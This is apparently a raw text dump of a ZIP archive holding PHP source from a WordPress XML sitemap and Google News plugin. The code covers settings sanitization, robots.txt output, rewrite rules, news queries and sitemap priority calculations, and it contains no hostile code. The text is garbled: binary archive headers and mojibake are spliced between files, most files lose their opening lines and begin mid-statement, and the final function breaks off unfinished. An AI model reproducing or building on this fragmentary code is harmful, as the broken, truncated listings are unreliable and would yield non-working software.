'/views/_usage.php'; } } /** * Try to turn on ob_gzhandler output compression */ function xmlsf_output_compression() { // try to enable zlib.output_compression or fall back to output buffering with ob_gzhandler if ( false !== ini_set( 'zlib.output_compression', 'On' ) ) // if zlib.output_compression turned on, then make sure to remove wp_ob_end_flush_all remove_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); else { ob_get_length() || in_array('ob_gzhandler', ob_list_handlers()) || ob_start('ob_gzhandler'); } if ( defined('WP_DEBUG') && WP_DEBUG == true ) { // zlib $zlib = ini_get( 'zlib.output_compression' ) ? 'ENABLED' : 'DISABLED'; error_log('Zlib output compression '.$zlib); // ob_gzhandler $gz = in_array('ob_gzhandler', ob_list_handlers()) ? 'ENABLED' : 'DISABLED'; error_log('GZhandler output buffer compression '.$gz); } } /** * Error messages for ping */ function xmlsf_debug_ping( $se, $sitemap, $ping_url, $response_code ) { if ( defined('WP_DEBUG') && WP_DEBUG == true ) { if ( $response_code == 999 ) { error_log( 'Ping '. $se .' skipped.' ); } else { error_log( 'Pinged '. $ping_url .' with response code: ' . $response_code ); } } } PK.—[_Ê­A¤¤Cxml-sitemap-feed/models/class.xmlsf-admin-sitemap-news-sanitize.phpnu„[µü¤object_type : array(); $disabled = false; foreach ( $sanitized['post_type'] as $post_type ) { if ( !in_array( $post_type, $post_types ) ) { $disabled = true; break; } } // suppress category selection if ( $disabled ) unset( $sanitized['categories'] ); } return $sanitized; } } PK.—[¬&HØ>xml-sitemap-feed/models/class.xmlsf-admin-sitemap-sanitize.phpnu„[µü¤delete( $wpdb->prefix.'termmeta', array( 'meta_key' => 'term_modified' ) ); } return $new; } public static function taxonomy_settings( $new ) { setlocale( LC_NUMERIC, 'C' ); $sanitized = array(); $sanitized['active'] = !empty($new['active']) ? '1' : ''; $sanitized['priority'] = isset($new['priority']) ? xmlsf_sanitize_priority( str_replace( ',', '.', $new['priority'] ), '0.1', '0.9' ) : '0.3'; $sanitized['dynamic_priority'] = !empty($new['dynamic_priority']) ? '1' : ''; $sanitized['term_limit'] = isset($new['term_limit']) ? intval($new['term_limit']) : 5000; if ( $sanitized['term_limit'] < 1 || $sanitized['term_limit'] > 50000 ) $sanitized['term_limit'] = 50000; // clear term meta cache if deactivating... if ( empty($sanitized['active']) ) { $old = (array) get_option( 'xmlsf_taxonomy_settings', array() ); if ( ! empty($old['active']) ) { global $wpdb; $wpdb->delete( $wpdb->prefix.'termmeta', array( 'meta_key' => 'term_modified' ) ); } } return $sanitized; } public static function post_types_settings( $new = array() ) { $sanitized = is_array($new) ? $new : array(); $old = (array) get_option( 'xmlsf_post_types', array() ); $clear_images = false; $clear_comments = false; foreach ( $sanitized as $post_type => $settings ) { setlocale( LC_NUMERIC, 'C' ); $sanitized[$post_type]['priority'] = isset($settings['priority']) ? xmlsf_sanitize_priority( str_replace( ',', '.', $settings['priority'] ), '0.1', '0.9' ) : '0.5'; // poll for changes that warrant clearing meta data if ( isset($old[$post_type]) && is_array($old[$post_type]) ) { if ( empty($settings['active']) ) { if ( !empty($old[$post_type]['active']) ) { $clear_images = true; $clear_comments = true; } } else { if ( isset($old[$post_type]['tags']) && is_array($old[$post_type]['tags']) && isset($old[$post_type]['tags']['image']) && $old[$post_type]['tags']['image'] != $settings['tags']['image'] ) { $clear_images = true; } if ( ! empty($old[$post_type]['update_lastmod_on_comments']) && empty($settings['update_lastmod_on_comments']) ) { $clear_comments = true; } } } } global $wpdb; // clear images meta caches... if ( $clear_images ) { $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_attached' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_featured' ) ); update_option( 'xmlsf_images_meta_primed', array() ); } // clear comments meta caches... if ( $clear_comments ) { $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_comment_date' ) ); update_option( 'xmlsf_comments_meta_primed', array() ); } return $sanitized; } public static function custom_sitemaps_settings( $new ) { // clean up input if ( is_array( $new ) ) { $new = array_filter($new); $new = reset($new); } if ( empty($new) ) return ''; // build sanitized output $input = explode( PHP_EOL, sanitize_textarea_field( $new ) ); $sanitized = array(); foreach ( $input as $line ) { $line = filter_var( esc_url( trim( $line ) ), FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED ); if ( ! empty( $line ) ) $sanitized[] = $line; } return !empty($sanitized) ? $sanitized : ''; } public static function custom_urls_settings( $new ) { // clean up input if ( is_array( $new ) ) { $new = array_filter($new); $new = reset($new); } if ( empty($new) ) return ''; $input = explode( PHP_EOL, strip_tags( $new ) ); // build sanitized output $sanitized = array(); foreach ( $input as $line ) { if ( empty( $line ) ) continue; $arr = explode( " ", trim( $line ) ); $url = filter_var( esc_url( trim( $arr[0] ) ), FILTER_VALIDATE_URL ); if ( !empty( $url ) ) { setlocale( LC_NUMERIC, 'C' ); $priority = isset( $arr[1] ) ? xmlsf_sanitize_priority( str_replace( ',', '.', $arr[1] ) ) : '0.5'; $sanitized[] = array( $url, $priority ); } } return !empty($sanitized) ? $sanitized : ''; } } PK.—[‚$IÃÃ0xml-sitemap-feed/models/class-xmlsitemapfeed.phpnu„[µü¤ '', 'post_type' => array('post'), 'categories' => '' ); /** * Front pages * * @var null/array $frontpages */ public $frontpages = null; /** * Signifies whether the request has been filtered. * @var bool */ public $request_filtered = false; /** * Signifies whether the current query is for a sitemap feed. * @var bool */ public $is_sitemap = false; /** * Signifies whether the current query is for a news feed. * @var bool */ public $is_news = false; /** * Default language * @var null/string $blog_language */ public $blog_language = null; /** * Allowed domain names * * @var null|array $domains */ private $domains = null; /** * Site public scheme * * @var string $domain */ private $scheme; /** * Are we using plain permalinks * * @var bool $plain_permalinks */ private $plain_permalinks = null; /** * Excluded taxonomies * * post format taxonomy is disabled * @var array */ private $disabled_taxonomies = array('post_format','product_shipping_class'); /** * Maximum number of posts in any taxonomy term * * @var null/int $taxonomy_termmaxposts */ public $taxonomy_termmaxposts = null; /** * Unix last modified date * * @var int $lastmodified */ public $lastmodified; /** * Unix time spanning first post date and last modified date * * @var int $timespan */ public $timespan = 0; /** * Post type total approved comment count * * @var int $comment_count */ public $comment_count = 0; /** * Blog pages * * @var null/array $blogpages */ public $blogpages = null; /** * METHODS */ /** * Constructor * @return void */ function __construct() {} /** * Default options * * @param $key * @return array */ public function defaults( $key = false ) { if ( empty($this->defaults) ) : // sitemaps $sitemaps = ( '1' !== get_option('blog_public') ) ? '' : array( 'sitemap' => 'sitemap.xml' ); $this->defaults = array( 'sitemaps' => $sitemaps, 'post_types' => array( 'post' => array( 'active' => '1', 'archive' => 'yearly', 'priority' => '0.7', 'dynamic_priority' => '1', 'tags' => array( 'image' => 'featured' /*'video' => ''*/ ) ), 'page' => array( 'active' => '1', 'priority' => '0.5', 'dynamic_priority' => '', 'tags' => array( 'image' => 'attached' /*'video' => ''*/ ) ) ), 'taxonomies' => '', 'taxonomy_settings' => array( 'active' => '', 'priority' => '0.3', 'dynamic_priority' => '1', 'term_limit' => '5000' ), 'ping' => array( 'google', 'bing' ), 'robots' => '', 'urls' => '', 'custom_sitemaps' => '', 'domains' => '' ); endif; if ( $key ) { $return = ( isset($this->defaults[$key]) ) ? $this->defaults[$key] : ''; } else { $return = $this->defaults; } return apply_filters( 'xmlsf_defaults', $return, $key ); } /** * Get domain * @return string */ public function get_allowed_domains() { // allowed domain if ( null === $this->domains ) { $host = parse_url( home_url(), PHP_URL_HOST ); $this->domains = ( !empty($host) ) ? (array) $host : array(); $domains = get_option('xmlsf_domains'); if ( !empty( $domains ) ) $this->domains = array_merge( $this->domains, (array) $domains ); } return $this->domains; } /** * Whether or not to use plain permalinks * Used for sitemap index and admin page * * @return bool */ public function plain_permalinks() { if ( null === $this->plain_permalinks ) { $permalink_structure = get_option('permalink_structure'); $this->plain_permalinks = ('' == $permalink_structure || 0 === strpos($permalink_structure,'/index.php') ) ? true : false; } return $this->plain_permalinks; } /** * Get scheme * @return string */ public function blog_language() { if ( $this->blog_language === null ) { // get site language for default language $this->blog_language = xmlsf_parse_language_string( get_bloginfo('language') ); } return $this->blog_language; } /** * Get scheme * @return string */ public function scheme() { // scheme to use if ( empty($this->scheme) ) { $scheme = parse_url( home_url(), PHP_URL_SCHEME ); $this->scheme = $scheme ? $scheme : 'http'; } return $this->scheme; } /** * Get disabled taxonomies * @return array */ public function disabled_taxonomies() { return apply_filters( 'xmlsf_disabled_taxonomies', $this->disabled_taxonomies ); } } PK.—[ VÖ§+xml-sitemap-feed/models/functions.admin.phpnu„[µü¤' . translate('Settings') . ''; array_unshift( $links, $settings_link ); return $links; } function xmlsf_plugin_meta_links( $links, $file ) { $support_link = '' . __('Support','xml-sitemap-feed') . ''; $rate_link = '' . __('Rate ★★★★★','xml-sitemap-feed') . ''; if ( $file == XMLSF_BASENAME ) { $links[] = $support_link; $links[] = $rate_link; } return $links; } function xmlsf_verify_nonce( $context ) { if ( isset( $_POST['_xmlsf_'.$context.'_nonce'] ) && wp_verify_nonce( $_POST['_xmlsf_'.$context.'_nonce'], XMLSF_BASENAME.'-'.$context ) ) return true; // Still here? Then add security check failed error message and return false. add_settings_error( 'security_check_failed', 'security_check_failed', translate('Security check failed.') ); return false; } // sanitization class XMLSF_Admin_Sanitize { public static function sitemaps_settings( $new ) { if ( '1' !== get_option('blog_public') ) { return ''; } $old = get_option( 'xmlsf_sitemaps' ); $sanitized = array(); if ( $old !== $new ) { // when sitemaps are added or removed, set transients set_transient('xmlsf_flush_rewrite_rules',''); set_transient('xmlsf_check_static_files',''); // switched on news sitemap if ( !empty($new['sitemap-news']) && empty($old['sitemap-news'] ) ) { // check news tag settings if ( !get_option( 'xmlsf_news_tags' ) ) { add_option( 'xmlsf_news_tags', xmlsf()->default_news_tags ); } } } if ( !empty($new['sitemap']) ) { $sanitized['sitemap'] = apply_filters( 'xmlsf_sitemap_filename', $new['sitemap'] ); } if ( !empty($new['sitemap-news']) ) { $sanitized['sitemap-news'] = apply_filters( 'xmlsf_sitemap_news_filename', $new['sitemap-news'] ); } return $sanitized; } public static function domains_settings( $new ) { $default = parse_url( home_url(), PHP_URL_HOST ); // clean up input if(is_array($new)) { $new = array_filter($new); $new = reset($new); } $input = $new ? explode( PHP_EOL, strip_tags( $new ) ) : array(); // build sanitized output $sanitized = array(); foreach ($input as $line) { $line = trim($line); $parsed_url = parse_url( trim( filter_var( $line, FILTER_SANITIZE_URL ) ) ); // Before PHP version 5.4.7, parse_url will return the domain as path when scheme is omitted so we do: if ( !empty($parsed_url['host']) ) { $domain = trim( $parsed_url['host'] ); } else { $domain_arr = explode('/', $parsed_url['path']); $domain_arr = array_filter($domain_arr); $domain = array_shift( $domain_arr ); $domain = trim( $domain ); } // filter out empties and default domain if(!empty($domain) && $domain !== $default && strpos($domain,".".$default) === false) $sanitized[] = $domain; } return (!empty($sanitized)) ? $sanitized : ''; } public static function ping_settings( $new ) { return is_array($new) ? $new : array(); } public static function robots_settings( $new ) { $old = get_option('xmlsf_robots'); // clean up input if ( is_array( $new ) ) { $new = array_filter( $new ); $new = reset( $new ); } if ( empty($old) && !empty($new) ) set_transient('xmlsf_check_static_files',''); return strip_tags( $new ); } } PK.—[ª—Tâl l %xml-sitemap-feed/models/functions.phpnu„[µü¤index . '?feed=sitemap$matches[1]&m=$matches[2]', 'top'); return array_merge( array( 'sitemap(?:_index)?(\-[a-z0-9\-_]+)?(\.[0-9]+)?\.xml(\.gz)?$' => $wp_rewrite->index . '?feed=sitemap$matches[1]$matches[3]&m=$matches[2]' ), $rewrite_rules ); } elseif ( isset($sitemaps['sitemap-news']) ) { //add_rewrite_rule('sitemap-news\.xml$', $wp_rewrite->index . '?feed=sitemap-news', 'top'); return array_merge( array( 'sitemap-news\.xml(\.gz)?$' => $wp_rewrite->index . '?feed=sitemap-news$matches[1]' ), $rewrite_rules ); } return $rewrite_rules; } /** * Filter robots.txt rules * * @param $output * @return string */ function xmlsf_robots_txt( $output ) { $url = trailingslashit( get_bloginfo('url') ); $sitemaps = get_option( 'xmlsf_sitemaps' ); // PRE $pre = '# XML Sitemap & Google News version ' . XMLSF_VERSION . ' - https://status301.net/wordpress-plugins/xml-sitemap-feed/' . PHP_EOL; if ( '1' != get_option('blog_public') ) $pre .= '# XML Sitemaps are disabled because of this site\'s privacy settings.' . PHP_EOL; elseif( !is_array($sitemaps) || empty( $sitemaps ) ) $pre .= '# No XML Sitemaps are enabled on this site.' . PHP_EOL; else foreach ( $sitemaps as $pretty ) $pre .= 'Sitemap: ' . $url . $pretty . PHP_EOL; $pre .= PHP_EOL; // DEFAULT if ( substr($output, -1) !== PHP_EOL ) $output .= PHP_EOL; // POST $post = get_option('xmlsf_robots'); if ( $post !== '' ) $post .= PHP_EOL; return $pre . $output . $post; } /* ------------------------------------- * CONDITIONAL FUNCTIONS * ------------------------------------- */ /** * Is the query for a sitemap? * * @since 4.8 * @return bool */ function is_sitemap() { global $xmlsf; if ( ! is_object( $xmlsf ) || $xmlsf->request_filtered === false ) { _doing_it_wrong( __FUNCTION__, __( 'Conditional sitemap tags do not work before the sitemap request filter is run. Before then, they always return false.', 'xml-sitemap-feed' ), '4.8' ); return false; } return $xmlsf->is_sitemap; } /** * Is the query for a news sitemap? * * @since 4.8 * @return bool */ function is_news() { global $xmlsf; if ( ! is_object( $xmlsf ) || $xmlsf->request_filtered === false ) { _doing_it_wrong( __FUNCTION__, __( 'Conditional sitemap tags do not work before the sitemap request filter is run. Before then, they always return false.', 'xml-sitemap-feed' ), '4.8' ); return false; } return $xmlsf->is_news; } PK.—[Ãí÷Ñ™™3xml-sitemap-feed/models/functions.public-shared.phpnu„[µü¤scheme() . ':' . $url; } return $url; } /** * Is allowed domain * * @param $url * * @return mixed|void */ function xmlsf_is_allowed_domain( $url ) { $domains = xmlsf()->get_allowed_domains(); $return = false; $parsed_url = parse_url($url); if (isset($parsed_url['host'])) { foreach ( $domains as $domain ) { if ( $parsed_url['host'] == $domain || strpos($parsed_url['host'],'.'.$domain) !== false ) { $return = true; break; } } } return apply_filters( 'xmlsf_allowed_domain', $return, $url ); } PK.—[a0ª`ÑÑ9xml-sitemap-feed/models/functions.public-sitemap-news.phpnu„[µü¤ \'' . gmdate( 'Y-m-d H:i:s', strtotime('-48 hours') ) . '\''; } /** * Filter news limits * override default feed limit for GN * @return string */ function xmlsf_news_filter_limits( $limits ) { return 'LIMIT 0, 1000'; } /** * Filter no news limits * in case there is no news, just take the latest post * @return string */ function xmlsf_news_filter_no_news_limits( $limits ) { return 'LIMIT 0, 1'; } /** * Filter request * * @param $request * * @return mixed */ function xmlsf_sitemap_news_parse_request( $request ) { // prepare for news and return modified request $options = get_option( 'xmlsf_news_tags' ); $post_types = is_array($options) && !empty($options['post_type']) ? $options['post_type'] : array('post'); $post_types = apply_filters( 'xmlsf_news_post_types', $post_types); // disable caching $request['cache_results'] = false; if ( ! defined('DONOTCACHEPAGE') ) define('DONOTCACHEPAGE', true); if ( ! defined('DONOTCACHEDB') ) define('DONOTCACHEDB', true); // set up query filters $live = false; foreach ($post_types as $post_type) { if ( strtotime( get_lastpostdate( 'gmt', $post_type ) ) > strtotime( gmdate( 'Y-m-d H:i:s', strtotime('-48 hours') ) ) ) { $live = true; break; } } if ( $live ) { add_filter( 'post_limits', 'xmlsf_news_filter_limits' ); add_filter( 'posts_where', 'xmlsf_news_filter_where', 10, 1 ); } else { add_filter( 'post_limits', 'xmlsf_news_filter_no_news_limits' ); } // post type $request['post_type'] = $post_types; // categories if ( is_array($options) && isset($options['categories']) && is_array($options['categories']) ) { $request['cat'] = implode( ',', $options['categories'] ); } return $request; } /** * Get images * * @param string $which * * @return array */ /* function xmlsf_news_get_images( $which ) { global $post; $images = array(); if ( 'attached' == $which ) { $args = array( 'post_type' => 'attachment', 'post_mime_type' => 'image', 'numberposts' => 1, 'post_status' =>'inherit', 'post_parent' => $post->ID ); $attachments = get_posts($args); if ( ! empty( $attachments[0] ) ) { $url = wp_get_attachment_image_url( $attachments[0]->ID, 'full' ); $url = xmlsf_get_absolute_url( $url ); if ( !empty($url) ) { $images[] = array( 'loc' => esc_attr( esc_url_raw( $url ) ), 'title' => apply_filters( 'the_title_xmlsitemap', $attachments[0]->post_title ), 'caption' => apply_filters( 'the_title_xmlsitemap', $attachments[0]->post_excerpt ) // 'caption' => apply_filters( 'the_title_xmlsitemap', get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ) ) ); } } } elseif ( 'featured' == $which ) { if ( has_post_thumbnail( $post->ID ) ) { $attachment = get_post( get_post_thumbnail_id( $post->ID ) ); $url = wp_get_attachment_image_url( get_post_thumbnail_id( $post->ID ), 'full' ); $url = xmlsf_get_absolute_url( $url ); if ( !empty($url) ) { $images[] = array( 'loc' => esc_attr( esc_url_raw( $url ) ), 'title' => apply_filters( 'the_title_xmlsitemap', $attachment->post_title ), 'caption' => apply_filters( 'the_title_xmlsitemap', $attachment->post_excerpt ) // 'caption' => apply_filters( 'the_title_xmlsitemap', get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ) ) ); } } } return $images; } */ /** * Get language used in News Sitemap * * @param $post_id * * @return string */ function xmlsf_get_language( $post_id ) { $language = xmlsf()->blog_language(); // WPML compat global $sitepress; if ( is_object($sitepress) && method_exists($sitepress, 'get_language_for_element') ) { $post_type = (array) get_query_var( 'post_type', 'post' ); $lang = $sitepress->get_language_for_element( $post_id, 'post_'.$post_type[0] ); //apply_filters( 'wpml_element_language_code', null, array( 'element_id' => $post_id, 'element_type' => $post_type ) ); if ( !empty($lang) ) $language = xmlsf_parse_language_string( $lang ); } // Polylang elseif ( function_exists('pll_get_post_language') ) { $lang = pll_get_post_language( $post_id, 'slug' ); if ( !empty($lang) ) $language = xmlsf_parse_language_string( $lang ); } return apply_filters( 'xmlsf_post_language', $language, $post_id ); } /** * Parse language string * * @param string $lang unformatted language string * * @return string */ function xmlsf_parse_language_string( $lang ) { $lang = convert_chars( strtolower( strip_tags( $lang ) ) ); // no underscores $lang = str_replace( '_', '-', $lang ); // no hyphens except... if ( 0 === strpos( $lang, 'zh' ) ) { $lang = strpos( $lang, 'hant' ) || strpos( $lang, 'hk' ) || strpos( $lang, 'tw' ) ? 'zh-tw' : 'zh-cn'; } else { // explode on hyphen and use only first part $expl = explode('-', $lang); $lang = $expl[0]; } return !empty($lang) ? $lang : 'en'; } PK.—[2ÛX‘²D²D4xml-sitemap-feed/models/functions.public-sitemap.phpnu„[µü¤ 1 ) ); if ( is_array($languages) ) { foreach ( $languages as $language ) { $url = pll_home_url( $language['slug'] ); $data[$url] = array( 'priority' => '1.0', 'lastmod' => mysql2date( DATE_W3C, get_lastpostdate('blog') ) // TODO make lastmod date language specific ); } } } elseif ( is_object($sitepress) && method_exists($sitepress, 'get_languages') && method_exists($sitepress, 'language_url') ) { foreach ( array_keys ( $sitepress->get_languages(false,true) ) as $term ) { $url = $sitepress->language_url($term); $data[$url] = array( 'priority' => '1.0', 'lastmod' => mysql2date( DATE_W3C, get_lastpostdate('blog') ) // TODO make lastmod date language specific ); } } else { // single site root $data = array( trailingslashit( home_url() ) => array( 'priority' => '1.0', 'lastmod' => mysql2date( DATE_W3C, get_lastpostdate('blog') ) ) ); } return $data; } /** * Do tags * * @param string $type * * @return array */ function xmlsf_do_tags( $type = 'post' ) { $post_types = get_option( 'xmlsf_post_types' ); // make sure it's an array we are returning return ( is_string($type) && is_array($post_types) && !empty($post_types[$type]['tags']) ) ? (array) $post_types[$type]['tags'] : array(); } /** * Get front pages * @return array */ function xmlsf_get_frontpages() { if ( null === xmlsf()->frontpages ) : $frontpages = array(); if ( 'page' == get_option('show_on_front') ) { $frontpage = (int) get_option('page_on_front'); $frontpages = array_merge( (array) $frontpage, xmlsf_get_translations($frontpage) ); } xmlsf()->frontpages = $frontpages; endif; return xmlsf()->frontpages; } /** * Get blog_pages * @return array */ function xmlsf_get_blogpages() { if ( null === xmlsf()->blogpages ) : $blogpages = array(); if ( 'page' == get_option('show_on_front') ) { $blogpage = (int) get_option('page_for_posts'); if ( !empty($blogpage) ) { $blogpages = array_merge( (array) $blogpage, xmlsf_get_translations($blogpage) ); } } xmlsf()->blogpages = $blogpages; endif; return xmlsf()->blogpages; } /** * Get translations * * @param $post_id * * @return array */ function xmlsf_get_translations( $post_id ) { global $sitepress; $translation_ids = array(); // Polylang compat if ( function_exists('pll_get_post_translations') ) { $translations = pll_get_post_translations($post_id); foreach ( $translations as $slug => $id ) { if ( $post_id != $id ) $translation_ids[] = $id; } // WPML compat } elseif ( is_object($sitepress) && method_exists($sitepress, 'get_languages') && method_exists($sitepress, 'get_object_id') ) { foreach ( array_keys ( $sitepress->get_languages(false,true) ) as $term ) { $id = $sitepress->get_object_id($post_id,'page',false,$term); if ( $post_id != $id ) $translation_ids[] = $id; } } return $translation_ids; } /** * Post Modified * * @return string GMT date */ function xmlsf_get_post_modified() { global $post; // if blog or home page then simply look for last post date if ( $post->post_type == 'page' && ( in_array( $post->ID, xmlsf_get_blogpages() ) || in_array( $post->ID, xmlsf_get_frontpages() ) ) ) { $lastmod = get_lastpostmodified( 'blog' ); } else { $lastmod = $post->post_modified; // make sure lastmod is not older than publication date (happens on scheduled posts) if ( isset( $post->post_date ) && strtotime( $post->post_date ) > strtotime( $lastmod ) ) { $lastmod = $post->post_date; }; // maybe update lastmod to latest comment $options = (array) get_option( 'xmlsf_post_types', array() ); if ( !empty($options[$post->post_type]['update_lastmod_on_comments']) ) { // assuming post meta data has been primed here $lastcomment = get_post_meta( $post->ID, '_xmlsf_comment_date', true ); // only get one if ( ! empty( $lastcomment ) && strtotime( $lastcomment ) > strtotime( $lastmod ) ) $lastmod = $lastcomment; } } return ! empty( $lastmod ) ? mysql2date( DATE_W3C, $lastmod ) : false; } /** * Term Modified * * @param object $term * * @return string */ function xmlsf_get_term_modified( $term ) { /* * Getting ALL meta here because if checking for single key, we cannot * distiguish between empty value or non-exisiting key as both return ''. */ $meta = get_term_meta( $term->term_id ); if ( ! array_key_exists( 'term_modified', $meta ) ) { // get the latest post in this taxonomy item, to use its post_date as lastmod $posts = get_posts ( array( 'post_type' => 'any', 'post_status' => 'publish', 'posts_per_page' => 1, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'update_cache' => false, 'lang' => '', 'has_password' => false, 'tax_query' => array( array( 'taxonomy' => $term->taxonomy, 'field' => 'slug', 'terms' => $term->slug ) ) ) ); $lastmod = isset($posts[0]->post_date) ? $posts[0]->post_date : ''; // get post date here, not modified date because we're only // concerned about new entries on the (first) taxonomy page add_term_meta( $term->term_id, 'term_modified', $lastmod ); } else { $lastmod = get_term_meta( $term->term_id, 'term_modified', true ); // only get one } return ! empty( $lastmod ) ? mysql2date( DATE_W3C, $lastmod ) : false; } /** * Taxonmy Modified * * @param string $taxonomy * * @return string */ function xmlsf_get_taxonomy_modified( $taxonomy ) { $obj = get_taxonomy( $taxonomy ); $lastmodified = array(); foreach ( (array)$obj->object_type as $object_type ) { $lastmodified[] = get_lastpostdate( 'blog', $object_type ); // get last post date here, not modified date because we're only // concerned about new entries on the (first) taxonomy page } sort( $lastmodified ); $lastmodified = array_filter( $lastmodified ); $lastmod = end( $lastmodified ); return mysql2date( DATE_W3C, $lastmod ); } /** * Get post priority * * @return float */ function xmlsf_get_post_priority() { // locale LC_NUMERIC should be set to C for these calculations // it is assumed to be done once at the request filter //setlocale( LC_NUMERIC, 'C' ); global $post; $options = get_option( 'xmlsf_post_types' ); $priority = isset($options[$post->post_type]['priority']) && is_numeric($options[$post->post_type]['priority']) ? floatval($options[$post->post_type]['priority']) : 0.5; if ( in_array( $post->ID, xmlsf_get_frontpages() ) ) { $priority = 1; } elseif ( $priority_meta = get_post_meta( $post->ID, '_xmlsf_priority', true ) ) { $priority = floatval(str_replace(',','.',$priority_meta)); } elseif ( !empty($options[$post->post_type]['dynamic_priority']) ) { $post_modified = mysql2date('U',$post->post_modified, false); // reduce by age // NOTE : home/blog page gets same treatment as sticky post, i.e. no reduction by age if ( xmlsf()->timespan > 0 && ! is_sticky( $post->ID ) && ! in_array( $post->ID, xmlsf_get_blogpages() ) ) { $priority -= $priority * ( xmlsf()->lastmodified - $post_modified ) / xmlsf()->timespan; } // increase by relative comment count if ( $post->comment_count > 0 && $priority < 1 && xmlsf()->comment_count > 0 ) { $priority += 0.1 + ( 1 - $priority ) * $post->comment_count / xmlsf()->comment_count; } } $priority = apply_filters( 'xmlsf_post_priority', $priority, $post->ID ); // a final check for limits and round it return xmlsf_sanitize_priority( $priority, 0.1, 1 ); } /** * Get taxonomy priority * * @param WP_Term|string $term * * @return float */ function xmlsf_get_term_priority( $term = '' ) { // locale LC_NUMERIC should be set to C for these calculations // it is assumed to be done at the request filter //setlocale( LC_NUMERIC, 'C' ); $options = get_option( 'xmlsf_taxonomy_settings' ); $priority = isset( $options['priority'] ) && is_numeric( $options['priority'] ) ? floatval( $options['priority'] ) : 0.5 ; if ( !empty($options['dynamic_priority']) && $priority > 0.1 && is_object($term) ) { // set first and highest term post count as maximum if ( null == xmlsf()->taxonomy_termmaxposts ) { xmlsf()->taxonomy_termmaxposts = $term->count; } $priority -= ( xmlsf()->taxonomy_termmaxposts - $term->count ) * ( $priority - 0.1 ) / xmlsf()->taxonomy_termmaxposts; } $priority = apply_filters( 'xmlsf_term_priority', $priority, $term->slug ); // a final check for limits and round it return xmlsf_sanitize_priority( $priority, 0.1, 1 ); } /** * Get post images * * @param string $which * * @return array */ function xmlsf_get_post_images( $which ) { global $post; // assuming images post meta has been primed here $images = get_post_meta( $post->ID, '_xmlsf_image_'.$which ); return (array) apply_filters( 'xmlsf_post_images_'.$which, $images ); } /** * Filter limits * override default feed limit * @return string */ function xmlsf_filter_limits( $limit ) { return 'LIMIT 0, 50000'; } /** * Terms arguments filter * Does not check if we are really in a sitemap feed. * * @param $args * * @return array */ function xmlsf_set_terms_args( $args ) { // https://developer.wordpress.org/reference/classes/wp_term_query/__construct/ $options = get_option('xmlsf_taxonomy_settings'); $args['number'] = isset($options['term_limit']) ? intval($options['term_limit']) : 5000; if ( $args['number'] < 1 || $args['number'] > 50000 ) $args['number'] = 50000; $args['order'] = 'DESC'; $args['orderby'] = 'count'; $args['pad_counts'] = true; $args['lang'] = ''; $args['hierachical'] = 0; $args['suppress_filter'] = true; return $args; } /** * Filter request * * @param $request * * @return mixed */ function xmlsf_sitemap_parse_request( $request ) { $feed = explode( '-' ,$request['feed'], 3 ); if ( !isset( $feed[1] ) ) return $request; switch( $feed[1] ) { case 'posttype': if ( ! isset( $feed[2] ) ) break; // try to raise memory limit, context added for filters wp_raise_memory_limit( 'sitemap-posttype-'.$feed[2] ); $options = (array) get_option( 'xmlsf_post_types', array() ); // prepare priority calculation if ( ! empty($options[$feed[2]]['dynamic_priority']) ) { // last posts or page modified date in Unix seconds xmlsf()->lastmodified = mysql2date( 'U', get_lastpostmodified( 'blog', $feed[2]), false ); // calculate time span, uses get_firstpostdate() function defined in xml-sitemap/inc/functions.php ! xmlsf()->timespan = xmlsf()->lastmodified - mysql2date( 'U', get_firstpostdate( 'blog', $feed[2]), false ); // total post type comment count xmlsf()->comment_count = wp_count_comments($feed[2])->approved; }; // setup filter add_filter( 'post_limits', 'xmlsf_filter_limits' ); $request['post_type'] = $feed[2]; $request['orderby'] = 'modified'; $request['order'] = 'DESC'; $request['is_date'] = false; break; case 'taxonomy': if ( !isset( $feed[2] ) ) break; // try to raise memory limit, context added for filters wp_raise_memory_limit( 'sitemap-taxonomy-'.$feed[2] ); // WPML compat global $sitepress; if ( is_object($sitepress) ) { remove_filter( 'get_terms_args', array($sitepress,'get_terms_args_filter') ); remove_filter( 'get_term', array($sitepress,'get_term_adjust_id'), 1 ); remove_filter( 'terms_clauses', array($sitepress,'terms_clauses') ); $sitepress->switch_lang('all'); } add_filter( 'get_terms_args', 'xmlsf_set_terms_args' ); // pass on taxonomy name via request $request['taxonomy'] = $feed[2]; break; default: // do nothing } return $request; } /* ------------------------------------- * MISSING WORDPRESS FUNCTIONS * ------------------------------------- */ /** * Retrieve first or last post type date data based on timezone. * Variation of function _get_last_post_time * * @param string $timezone The location to get the time. Can be 'gmt', 'blog', or 'server'. * @param string $field Field to check. Can be 'date' or 'modified'. * @param string $post_type Post type to check. Defaults to 'any'. * @param string $which Which to check. Can be 'first' or 'last'. Defaults to 'last'. * @param string $m year, month or day period. Can be empty or integer. * @return string The date. */ if( !function_exists('_get_post_time') ) { function _get_post_time( $timezone, $field, $post_type = 'any', $which = 'last', $m = '' ) { global $wpdb; if ( !in_array( $field, array( 'date', 'modified' ) ) ) { return false; } $timezone = strtolower( $timezone ); $m = preg_replace('|[^0-9]|', '', $m); $key = "{$which}post{$field}{$m}:$timezone"; if ( 'any' !== $post_type ) { $key .= ':' . sanitize_key( $post_type ); } $date = wp_cache_get( $key, 'timeinfo' ); if ( false !== $date ) { return $date; } if ( $post_type === 'any' ) { $post_types = get_post_types( array( 'public' => true ) ); array_walk( $post_types, array( &$wpdb, 'escape_by_ref' ) ); $post_types = "'" . implode( "', '", $post_types ) . "'"; } elseif ( is_array($post_type) ) { $types = get_post_types( array( 'public' => true ) ); foreach ( $post_type as $type ) if ( !in_array( $type, $types ) ) return false; array_walk( $post_type, array( &$wpdb, 'escape_by_ref' ) ); $post_types = "'" . implode( "', '", $post_type ) . "'"; } else { if ( !in_array( $post_type, get_post_types( array( 'public' => true ) ) ) ) return false; $post_types = "'" . addslashes($post_type) . "'"; } $where = "post_status='publish' AND post_type IN ({$post_types}) AND post_date_gmt"; // If a period is specified in the querystring, add that to the query if ( !empty($m) ) { $where .= " AND YEAR(post_date)=" . substr($m, 0, 4); if ( strlen($m) > 5 ) { $where .= " AND MONTH(post_date)=" . 